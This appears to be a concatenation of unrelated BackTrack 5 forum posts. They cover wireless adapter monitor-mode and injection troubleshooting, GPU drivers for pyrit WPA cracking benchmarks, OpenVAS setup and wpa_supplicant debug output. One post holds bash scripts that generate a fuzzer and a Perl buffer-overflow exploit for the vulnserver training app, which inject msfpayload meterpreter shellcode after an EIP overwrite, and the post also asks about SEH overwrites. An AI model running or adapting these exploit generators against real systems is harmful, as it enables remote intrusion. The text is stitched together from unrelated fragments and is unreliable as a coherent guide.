inet addr:192.168.0.188 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::223:5aff:fe71:30e0/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4074 errors:0 dropped:0 overruns:0 frame:0
TX packets:2694 errors:0 dropped:0 overruns:0 carrier:1
collisions:0 txqueuelen:1000
RX bytes:4782354 (4.7 MB) TX bytes:453271 (453.2 KB)
Interrupt:41
mon0 Link encap:UNSPEC HWaddr CC-AF-78-7D-F5-2D-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:619 errors:0 dropped:630 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:166714 (166.7 KB) TX bytes:0 (0.0 B)
wlan0 Link encap:Ethernet HWaddr cc:af:78:7d:f5:2d
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
airmon-ngFound 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1303 dhclient3
1360 dhclient3
1853 dhclient
1871 dhclient
Process with PID 1360 (dhclient3) is running on interface wlan0
Interface Chipset Driver
wlan0 Atheros AR9287 ath9k - [phy0]
(monitor mode enabled on mon1)
mon0 Atheros AR9287 ath9k - [phy0]
dmesg | tail[ 549.824132] eth0: no IPv6 routers present
[ 615.975936] ADDRCONF(NETDEV_UP): wlan0: link is not ready
[ 619.495119] ADDRCONF(NETDEV_UP): wlan0: link is not ready
[ 619.700417] atl1c 0000:06:00.0: irq 41 for MSI/MSI-X
[ 619.702897] atl1c 0000:06:00.0: atl1c: eth0 NIC Link is Up<100 Mbps Full Duplex>
[ 619.852621] atl1c 0000:06:00.0: irq 41 for MSI/MSI-X
[ 619.855115] atl1c 0000:06:00.0: atl1c: eth0 NIC Link is Up<100 Mbps Full Duplex>
[ 621.907704] audit_printk_skb: 24 callbacks suppressed
[ 621.907716] type=1400 audit(1318565945.413:20): apparmor="DENIED" operation="open" parent=1846 profile="/sbin/dhclient3" name="/var/lib/wicd/dhclient.conf" pid=1853 comm="dhclient" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
[ 630.736019] eth0: no IPv6 routers present
lspci06:00.0 Ethernet controller: Atheros Communications AR8152 v2.0 Fast Ethernet (rev c1)
07:00.0 Network controller: Atheros Communications Inc. AR9287 Wireless Network Adapter (rev 01)
I searched alot about that, and I didnt find anything that could fix my problem until now.
#! /bin/bash
echo "Creates a fuzzer script for spike"
echo "Usage: ./createfuzzscipt.sh [file] [command]"
if [ $# -ne 2 ]
then
echo "WRONG ARGS!"
else
touch $1
echo "s_readline();" > $1
echo "s_string(\"$2 \");" >> $1
echo "s_string_variable(\"COMMAND\");" >> $1
cat $1
echo "Happy Fuzzing"
fi
Pretty simple so far. So next we fuzz the target command using spike's general_send_tcp program. If it crashes it is possible that it is vulnerable to attack. We use wireshark to trace back the packets, vulnserver tells you if the command complete successfully or not. We look for TCP streams that don't have that at the end. I was doing this for the TRUN command which happens to crash around 5000 bytes. #! /bin/bash
echo "This script will generate a Perl scrip used for general fuzzing"
echo "Be nice to it, it's still in it\'s beta stages"
echo "USAGE: ./createplfuzz.sh [file]"
echo " "
echo "What do you want the header to be?"
read header
echo "How big should the junk size be?"
read junksize
echo "IP address? (Say \$ARGV[0] to make it ask)"
read ip
echo "Port? (Say \$ARGV[1] to make it ask)"
read port
echo "Beginning Perl Script Maker"
echo '#! /usr/bin/perl' > $1
echo 'use IO::Socket;' >> $1
echo "\$header = \"$header\";" >> $1
junk=`/pentest/exploits/framework/tools/pattern_create.rb $junksize`
echo "\$junk = \"$junk\";" >> $1
echo '$socket = IO::Socket::INET->new(' >> $1
echo 'Proto => "tcp",' >> $1
echo "PeerAddr => \"$ip\"," >> $1
echo "PeerPort => \"$port\"," >> $1
echo ');' >> $1
echo '$socket->recv($serverdata, 1024);' >> $1
echo 'print $serverdata;' >> $1
echo "\$socket->send(\$header.\$junk);" >> $1
echo "DONE!"
cat $1
chmod +x $1
echo "Happy Fuzzing"
So basically a quick look at what is going on. /pentest/exploits/framework/tools/pattern_create.rb $junksize runs a command that creates a traceable pattern so if we overwrite EIP we can use this to trace EIP back and see how many bytes it took to crash it. The header is the command. Next I open ollyDbg on vulnserver and run vulnserver. Then I use my newly created fuzzing script to crash the program, I then take the value of EIP, pop it into the tracing program, and find that it is 2003 bytes in (I am still talking about the TRUN command.)$eip = pack('V', "0x625011af)
Next we insert our shellcode (I wrote a script to just grab a meterpreter payload and insert it here. The script is at the end of this section)$socket->send($header.$junk.$eip.$nop.$shellcode);
Here is the Perl Exploit generation script.#! /bin/bash
echo "This script will generate a Perl script used for exploit dev and testing"
echo "Be nice to it, it's still in it's beta stages"
echo "USAGE: ./createplexploit.sh [file]"
echo " "
echo "What do you want the header to be?"
read header
echo "How big should the junk size be?"
read junksize
echo "What is the EIP value?"
read eip
echo "How many NOPs should the sled contain?"
read nop
echo "What payload should we use?"
read payload
echo "What encoder should we use?"
read encoder
echo "What options do we want for the payload (You should know these"
read ploptions
echo "IP address? (Say \$ARGV[0] to make it ask)"
read ip
echo "Port? (Say \$ARGV[1] to make it ask)"
read port
echo "Beginning Perl Script Maker"
echo '#! /usr/bin/perl' > $1
echo 'use IO::Socket;' >> $1
echo "\$header = \"$header\";" >> $1
echo "\$junk = \"\\x41\" x $junksize;" >> $1
echo "\$eip = pack('V', $eip);" >> $1
echo "\$nop = \"\\x90\" x $nop;" >> $1
shellcode=`msfpayload $payload $ploptions EXITFUNC=seh R | msfencode -t perl -e $encoder | grep -e '"'`
echo "\$shellcode = $shellcode" >> $1
echo '$socket = IO::Socket::INET->new(' >> $1
echo 'Proto => "tcp",' >> $1
echo "PeerAddr => \"$ip\"," >> $1
echo "PeerPort => \"$port\"," >> $1
echo ');' >> $1
echo '$socket->recv($serverdata, 1024);' >> $1
echo 'print $serverdata;' >> $1
echo '$socket->send($header.$junk.$eip.$nop.$shellcode);' >> $1
echo "DONE!"
cat $1
chmod +x $1
echo "Happy Exploiting"
So the exploit works fine. Next, I wanted to try to make my own, however I hit some roadblocks. The command I tried to use was GMON, KSTET, and GTER. All crashed when I used spike fuzzer. However I run into the same problem with each of them. Each one has an extremely small junk space. (GMON was untraceable, I don't think it's overwriting EIP, KSTET only had 66 bytes, GTER only has 147 bytes) I noticed there isn't enough space for the shellcode. I first noticed it when I threw in some breakpoints (\xCC) to the beginning and end of the shell code. It would hit the first one but, not the 2nd. Later I just changed the shell code in my script to \x42 x 1000, I noticed not all of the Bs showed up. I know there is a couple tricks to making shellcode execute from a different location but, the one would prefer to use is over writing the SEH chains, the SEH Chains are an error handling address that gets called when the program crashes, the SEH Chains in vulnserver point to ntdll. What is the proper method for overwriting SEH and putting my shellcode in a safe place so I can execute it?
openvassd # start the daemon
openvasmd -p 9390 -a [set your ip] # I will use Greenbone Security Desktop
openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=[set your ip] -p 9392 --alisten=127.0.0.1 -a 9393 --mlisten=[set your ip] -m 9390 # I will use my browser to conect Greenbone Security Assistant
Now I can connect with Greenbone Security Desktop and Greenbone Security Assistant (web interface) from internal lan without "Login failed" issue
eth0 Link encap:Ethernet HWaddr b8:70:f4:e6:60:38
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:16
eth1 Link encap:Ethernet HWaddr cc:af:78:2b:be:02
inet addr:192.168.0.102 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::ceaf:78ff:fe2b:be02/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:7328 errors:0 dropped:0 overruns:0 frame:1426
TX packets:5710 errors:23 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:8362166 (8.3 MB) TX bytes:906079 (906.0 KB)
Interrupt:17
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:91 errors:0 dropped:0 overruns:0 frame:0
TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6257 (6.2 KB) TX bytes:6257 (6.2 KB)
iwconfiglo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11bgn ESSID:"dlink"
Mode:Managed Frequency:2.427 GHz Access Point: 1C:AF:F7:A8:FC:C0
Bit Rate=48 Mb/s Tx-Power:24 dBm
Retry min limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Managementmode:All packets received
Link Quality=5/5 Signal level=-15 dBm Noise level=-86 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
airmon-ngInterface Chipset Driver
eth1 Broadcom wl
airmon-ng start eth1Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
2432 wpa_supplicant
2448 dhclient
Process with PID 2432 (wpa_supplicant) is running on interface eth1
Interface Chipset Driver
eth1 Broadcom wl (monitor mode enabled)
wl (monitor mode enabled) even if there is MONITOR MODE ENABLED in iwconfig is still MANAGEDioctl(SIOCSIWMODE) failed: Invalid argument
ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead. Make
sure RFMON is enabled: run 'airmon-ng start eth1 <#>'
Sysfs injection support was not found either.
From bunch of topics I read It's because it isn't switched to monitor mode.
root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:22:75:3b:aa:xx
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@bt:~# iwconfig wlan0
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
root@bt:~# lsusb | grep Wireless
Bus 001 Device 005: ID 050d:815c Belkin Components F5D8053 N Wireless USB Adapter v3000 [Ralink RT2870]
root@bt:~# ls -l /sys/class/net/wlan0/device/driver
lrwxrwxrwx 1 root root 0 2011-10-12 17:19 /sys/class/net/wlan0/device/driver -> ../../../../../../bus/usb/drivers/rt2800usb
root@bt:~# lsmod | grep rt2800usb
rt2800usb 12228 0
rt2800lib 40789 1 rt2800usb
rt2x00usb 10496 1 rt2800usb
rt2x00lib 37138 3 rt2800usb,rt2800lib,rt2x00usb
root@bt:~# airmon-ng
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
root@bt:~# airmon-ng start wlan0 13
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1290 dhclient3
6559 dhclient3
Process with PID 6559 (dhclient3) is running on interface wlan0
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0)
root@bt:~# aireplay-ng -9 mon0
17:23:04 Trying broadcast probe requests...
17:23:06 No Answer...
17:23:06 Found 1 AP
17:23:06 Trying directed probe requests...
17:23:06 00:19:5B:E7:52:xx - channel: 13 - 'SSID'
17:23:12 0/30: 0%
root@bt:~#
cp /root/.<folder name> /etc/skel
The following folders are what I copied .bash_logout
.bashrc
.config
.gconf
.gconfd
.gem
.kde
.mozilla
.msf4
.profile
.pulse
.subversion
.wine
.xine
Create your new user: adduser <username>
Add user to groups: usermod --groups admin,disk,cdrom,audio <username>
Login as the new user to consolesudo chown <user>:<user> /home/<username>/Desktop/.Xauthority
allow user to make KDE changes: sudo chown <user>:<user> /home/<username>/.kde/share/config/kmixrc
sudo chown <user>:<user> /home/<username>/.kde/share/config/kmixctrlrc
At this point you should be able to startx and get the normal BT5 environment.
Boot: "Safe mode" or edit "vga=791" to "vga=792". *Takes a few minutes for the login prompt to be presented*
cd /tmp
wget http://www2.ati.com/drivers/linux/ati-driver-installer-11-9-x86.x86_64.run
chmod +x ati-driver-installer-11-9-x86.x86_64.run
prepare-kernel-sources
cp -rf /usr/src/linux/include/generated/* /usr/src/linux/include/linux/
/tmp/ati-driver-installer-11-9-x86.x86_64.run
Ok->1.Install Driver: Ok->Ok->Exit->Do you agree with the license?:Yes->Recommended:Ok
reboot
startx
System->Preferences->AMD Catalyst Control Center

root@bt:~/pyrit/cpyrit_opencl# pyrit list_cores
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
The following cores seem available...
#1: 'OpenCL-Device 'Juniper''
#2: 'CPU-Core (SSE2)'
#3: 'CPU-Core (SSE2)'
#4: 'CPU-Core (SSE2)'
#5: 'CPU-Core (SSE2)'
#6: 'CPU-Core (SSE2)'
#7: 'CPU-Core (SSE2)'
#8: 'CPU-Core (SSE2)'
root@bt:~/pyrit/cpyrit_opencl# pyrit benchmark
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Running benchmark (17669.3 PMKs/s)... \
Computed 17669.31 PMKs/s total.
#1: 'OpenCL-Device 'Juniper'': 16562.1 PMKs/s (RTT 2.7)
#2: 'CPU-Core (SSE2)': 417.5 PMKs/s (RTT 2.9)
#3: 'CPU-Core (SSE2)': 403.0 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 408.9 PMKs/s (RTT 3.1)
#5: 'CPU-Core (SSE2)': 429.6 PMKs/s (RTT 3.0)
#6: 'CPU-Core (SSE2)': 373.4 PMKs/s (RTT 3.1)
#7: 'CPU-Core (SSE2)': 412.0 PMKs/s (RTT 2.9)
#8: 'CPU-Core (SSE2)': 393.2 PMKs/s (RTT 3.0)
root@bt:~/pyrit/cpyrit_opencl# pyrit benchmark_long
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Running benchmark (17334.4 PMKs/s)... |
Computed 17334.39 PMKs/s total.
#1: 'OpenCL-Device 'Juniper'': 14762.5 PMKs/s (RTT 3.2)
#2: 'CPU-Core (SSE2)': 408.8 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 393.0 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 418.0 PMKs/s (RTT 3.0)
#5: 'CPU-Core (SSE2)': 415.4 PMKs/s (RTT 3.0)
#6: 'CPU-Core (SSE2)': 403.1 PMKs/s (RTT 3.1)
#7: 'CPU-Core (SSE2)': 397.5 PMKs/s (RTT 3.0)
#8: 'CPU-Core (SSE2)': 395.4 PMKs/s (RTT 3.0)
root@bt:~/pyrit/cpyrit_opencl#
cd /tmp
wget http://uk.download.nvidia.com/XFree86/Linux-x86_64/285.05.09/NVIDIA-Linux-x86_64-285.05.09.run
chmod +x NVIDIA-Linux-x86_64-285.05.09.run
prepare-kernel-sources
cp -rf /usr/src/linux/include/generated/* /usr/src/linux/include/linux/
/usr/bin/gnome-session-save --kill
/tmp/NVIDIA-Linux-x86_64-285.05.09.run
*Accept->Install NVIDIA's 32-bit compatibility OpenGL libraries?: Yes->nvidia-xconfig utility to automatically update: Yes->Ok*
startx
nvidia-settings


root@bt:~# pyrit list_cores
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
The following cores seem available...
#1: 'CUDA-Device #1 'GeForce 8600 GT''
#2: 'CPU-Core (SSE2)'
#3: 'CPU-Core (SSE2)'
#4: 'CPU-Core (SSE2)'
root@bt:~# pyrit benchmark
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Running benchmark (3427.5 PMKs/s)... -
Computed 3427.49 PMKs/s total.
#1: 'CUDA-Device #1 'GeForce 8600 GT'': 1539.5 PMKs/s (RTT 2.9)
#2: 'CPU-Core (SSE2)': 689.6 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 686.8 PMKs/s (RTT 2.9)
#4: 'CPU-Core (SSE2)': 682.0 PMKs/s (RTT 2.9)
root@bt:~# pyrit benchmark_long
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Running benchmark (3409.2 PMKs/s)... |
Computed 3409.23 PMKs/s total.
#1: 'CUDA-Device #1 'GeForce 8600 GT'': 1537.1 PMKs/s (RTT 3.0)
#2: 'CPU-Core (SSE2)': 524.6 PMKs/s (RTT 2.7)
#3: 'CPU-Core (SSE2)': 690.0 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 689.8 PMKs/s (RTT 3.0)
root@bt:~#
root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:12:17:94:90:xx
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@bt:~# iwconfig wlan0
wlan0 IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
root@bt:~# lspci | grep -i network
05:00.0 Network controller: Broadcom Corporation BCM4306 802.11b/g Wireless LAN Controller (rev 03)
root@bt:~# ls -l /sys/class/net/wlan0/device/driver
lrwxrwxrwx 1 root root 0 2011-10-11 14:31 /sys/class/net/wlan0/device/driver -> ../../../../../bus/ssb/drivers/b43
root@bt:~# lsmod | grep -i b43
b43 326324 0
mac80211 277511 2 rtl8187,b43
cfg80211 165732 3 rtl8187,b43,mac80211
ssb 43273 1 b43
root@bt:~# airmon-ng
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
root@bt:~# airmon-ng start wlan0 13
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
878 NetworkManager
926 wpa_supplicant
1154 dhclient
1306 dhclient3
1375 dhclient3
Process with PID 1375 (dhclient3) is running on interface wlan0
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)
root@bt:~# aireplay-ng -9 mon0
15:30:31 Trying broadcast probe requests...
15:30:32 Injection is working!
15:30:33 Found 1 APs
15:30:33 Trying directed probe requests...
15:30:33 00:19:5B:E7:52:xx - channel: 13 - 'SSID'
15:30:33 Ping (min/avg/max): 1.291ms/14.471ms/61.321ms Power: -65.23
15:30:33 30/30: 100%
root@bt:~#
rmmod rtl8187
rfkill block all
rfkill unblock all
modprobe rtl8187
rfkill unblock all
ifconfig wlan0 up
Code:
root@bt:~# ifconfig wlan0 up
SIOCSIFFLAGS: Unknown error 132
root@bt:~# rmmod rtl8187
root@bt:~# rfkill block all
root@bt:~# rfkill unblock all
root@bt:~# modprobe rtl8187
root@bt:~# rfkill unblock all
root@bt:~# ifconfig wlan0 up
root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:c0:ca:1e:60:xx
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@bt:~# iwconfig wlan0
wlan0 IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
root@bt:~# lsusb
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 003: ID 203a:fff9
Bus 001 Device 002: ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
root@bt:~# ls -l /sys/class/net/wlan0/device/driver
lrwxrwxrwx 1 root root 0 2011-10-11 15:39 /sys/class/net/wlan0/device/driver -> ../../../../../../bus/usb/drivers/rtl8187
root@bt:~# lsmod | grep -i rtl8187
rtl8187 51301 0
mac80211 255996 1 rtl8187
cfg80211 153414 2 rtl8187,mac80211
eeprom_93cx6 1292 1 rtl8187
root@bt:~# airmon-ng
Interface Chipset Driver
wlan0 Realtek RTL8187L rtl8187 - [phy0]
root@bt:~# airmon-ng start wlan0 13
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
768 NetworkManager
1029 wpa_supplicant
1042 dhclient
Interface Chipset Driver
wlan0 Realtek RTL8187L rtl8187 - [phy4]
(monitor mode enabled on mon0)
root@bt:~# aireplay-ng -9 mon0
23:59:37 Trying broadcast probe requests...
23:59:37 Injection is working!
23:59:39 Found 1 APs
23:59:39 Trying directed probe requests...
23:59:39 00:19:5B:E7:52:xx - channel: 13 - 'SSID'
23:59:41 Ping (min/avg/max): 19.264ms/30.550ms/42.879ms Power: -51.10
23:59:41 30/30: 100%
root@bt:~#
root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:18:f8:a4:9e:xx
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@bt:~# iwconfig wlan0
wlan0 IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
root@bt:~# lsusb
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 002: ID 13b1:0020 Linksys WUSB54GC 802.11g Adapter [ralink rt73]
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
root@bt:~# ls -l /sys/class/net/wlan0/device/driver
lrwxrwxrwx 1 root root 0 2011-10-11 15:40 /sys/class/net/wlan0/device/driver -> ../../../../../../bus/usb/drivers/rt73usb
root@bt:~# lsmod | grep -i rt73usb
rt73usb 23499 0
crc_itu_t 1319 1 rt73usb
rt2x00usb 9319 1 rt73usb
rt2x00lib 33886 2 rt73usb,rt2x00usb
root@bt:~# airmon-ng
Interface Chipset Driver
wlan0 Ralink 2573 USB rt73usb - [phy0]
root@bt:~# airmon-ng start wlan0 13
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
768 NetworkManager
1029 wpa_supplicant
1042 dhclient
Interface Chipset Driver
wlan0 Ralink 2573 USB rt73usb - [phy5]
(monitor mode enabled on mon0)
root@bt:~# aireplay-ng -9 mon0
00:02:53 Trying broadcast probe requests...
00:02:53 Injection is working!
00:02:55 Found 1 AP
00:02:55 Trying directed probe requests...
00:02:55 00:19:5B:E7:52:xx - channel: 13 - 'SSID'
00:02:55 Ping (min/avg/max): 2.346ms/5.664ms/10.617ms Power: -66.40
00:02:55 30/30: 100%
root@bt:~#




Interface Chipset Driver
wlan0 Realtek RTL8187L rtl8187 - [phy0]
(monitor mode enabled on mon0)
wlan1 Zydas zd1211b zd1211rw - [phy1]
#: airmon-ng start wlan1Interface Chipset Driver
wlan0 Realtek RTL8187L rtl8187 - [phy0]
wlan1 Zydas zd1211b zd1211rw - [phy1]
(monitor mode enabled on mon1)
mon0 Realtek RTL8187L rtl8187 - [phy0]
Now, let's scan some APs CH 10 ][ Elapsed: 4 s ][ 2011-10-10 06:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:[CENSORED] -36 8 0 0 10 54e WPA2 CCMP PSK censored
40:[CENSORED] -55 9 15 0 2 54e WPA2 CCMP PSK censored
00:[CENSORED] -61 10 0 0 3 54e. WPA2 CCMP PSK censored
BSSID STATION PWR Rate Lost Packets Probes
40:[CENSORED] 00:[CENSORED] -1 54e- 0 0 15
-36% is 100% - 36% = 64% signal strength CH 1 ][ Elapsed: 4 s ][ 2011-10-10 06:28
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:[CENSORED] 0 11 0 0 10 54e WPA2 CCMP PSK [CENSORED]
00:[CENSORED] 0 12 0 0 3 54e. WPA2 CCMP PSK [CENSORED]
40:[CENSORED] 0 10 0 0 2 54e WPA2 CCMP PSK [CENSORED]
BSSID STATION PWR Rate Lost Packets Probes
Zero, zero, zero.
wpa_passphrase "moja mrea" 0123456789abc > /etc/wpa.conf
wpa_supplicant -D wext -i wlan1 -d -c /etc/wpa.conf
dhclient wlan1
dhclient -r not working as wellroot@bt:~#wpa_supplicant -D wext -i wlan2 -d -c /etc/wpa.conf
Initializing interface 'wlan2' conf '/etc/wpa.conf' driver 'wext' ctrl_interface 'N/A' bridge 'N/A'
Configuration file '/etc/wpa.conf' -> '/etc/wpa.conf'
Reading configuration file '/etc/wpa.conf'
ctrl_interface='/var/run/wpa_supplicant'
Priority group 0
id=0 ssid='moja mre__a'
Interface wlan2 set UP - waiting a second for the driver to complete initialization
SIOCGIWRANGE: WE(compiled)=22 WE(source)=21 enc_capa=0xf
capabilities: key_mgmt 0xf enc 0xf flags 0x0
WEXT: Operstate: linkmode=1, operstate=5
Own MAC address: 00:c0:ca:4a:c8:0b
wpa_driver_wext_set_wpa
wpa_driver_wext_set_key: alg=0 key_idx=0 set_tx=0 seq_len=0 key_len=0
wpa_driver_wext_set_key: alg=0 key_idx=1 set_tx=0 seq_len=0 key_len=0
wpa_driver_wext_set_key: alg=0 key_idx=2 set_tx=0 seq_len=0 key_len=0
wpa_driver_wext_set_key: alg=0 key_idx=3 set_tx=0 seq_len=0 key_len=0
wpa_driver_wext_set_countermeasures
wpa_driver_wext_set_drop_unencrypted
RSN: flushing PMKID list in the driver
Setting scan request: 0 sec 100000 usec
WPS: UUID based on MAC address - hexdump(len=16): d8 f3 8d 7b 22 46 5c 6b 87 b9 6e ec aa 41 7b f5
WPS: Build Beacon and Probe Response IEs
WPS: * Version
WPS: * Wi-Fi Protected Setup State (0)
WPS: * Version
WPS: * Wi-Fi Protected Setup State (0)
WPS: * Response Type (2)
WPS: * UUID-E
WPS: * Manufacturer
WPS: * Model Name
WPS: * Model Number
WPS: * Serial Number
WPS: * Primary Device Type
WPS: * Device Name
WPS: * Config Methods (0)
WPS: * RF Bands (3)
EAPOL: SUPP_PAE entering state DISCONNECTED
EAPOL: KEY_RX entering state NO_KEY_RECEIVE
EAPOL: SUPP_BE entering state INITIALIZE
EAP: EAP entering state DISABLED
Using existing control interface directory.
Added interface wlan2
RTM_NEWLINK: operstate=0 ifi_flags=0x1003 ([UP])
RTM_NEWLINK, IFLA_IFNAME: Interface 'wlan2' added
RTM_NEWLINK: operstate=0 ifi_flags=0x1003 ([UP])
RTM_NEWLINK, IFLA_IFNAME: Interface 'wlan2' added
Wireless event: cmd=0x8b06 len=12
State: DISCONNECTED -> SCANNING
Starting AP scan (broadcast SSID)
Trying to get current scan results first without requesting a new scan to speed up initial association
Received 0 bytes of scan results (0 BSSes)
Cached scan results are empty - not posting
Selecting BSS from priority group 0
Try to find WPA-enabled AP
Try to find non-WPA AP
No suitable AP found.
Setting scan request: 0 sec 0 usec
Starting AP scan (broadcast SSID)
Scan requested (ret=0) - scan timeout 5 seconds
EAPOL: disable timer tick
RTM_NEWLINK: operstate=0 ifi_flags=0x1003 ([UP])
RTM_NEWLINK, IFLA_IFNAME: Interface 'wlan2' added
Wireless event: cmd=0x8b19 len=16
Received 0 bytes of scan results (0 BSSes)
New scan results available
Selecting BSS from priority group 0
Try to find WPA-enabled AP
Try to find non-WPA AP
No suitable AP found.
Setting scan request: 5 sec 0 usec
^CCTRL-EVENT-TERMINATING - signal 2 received
Removing interface wlan2
State: SCANNING -> DISCONNECTED
wpa_driver_wext_set_operstate: operstate 0->0 (DORMANT)
WEXT: Operstate: linkmode=-1, operstate=5
No keys have been configured - skip key clearing
EAPOL: External notification - portEnabled=0
EAPOL: External notification - portValid=0
wpa_driver_wext_set_wpa
wpa_driver_wext_set_drop_unencrypted
wpa_driver_wext_set_countermeasures
No keys have been configured - skip key clearing
Control interface directory not empty - leaving it behind
Cancelling scan request
Cancelling authentication timeout
WEXT: Operstate: linkmode=0, operstate=6
and here is wpa.conf:ctrl_interface=/var/run/wpa_supplicant
network={
ssid="moja mrea"
#psk="0123456789abc"
psk=3c8ac78f380d9df5dbc6549bad7de3f7dba4cd0178e97c0c144a4016eceabf03
key_mgmt=WPA-PSK
proto=WPA2
pairwise=CCMP
group=TKIP
}
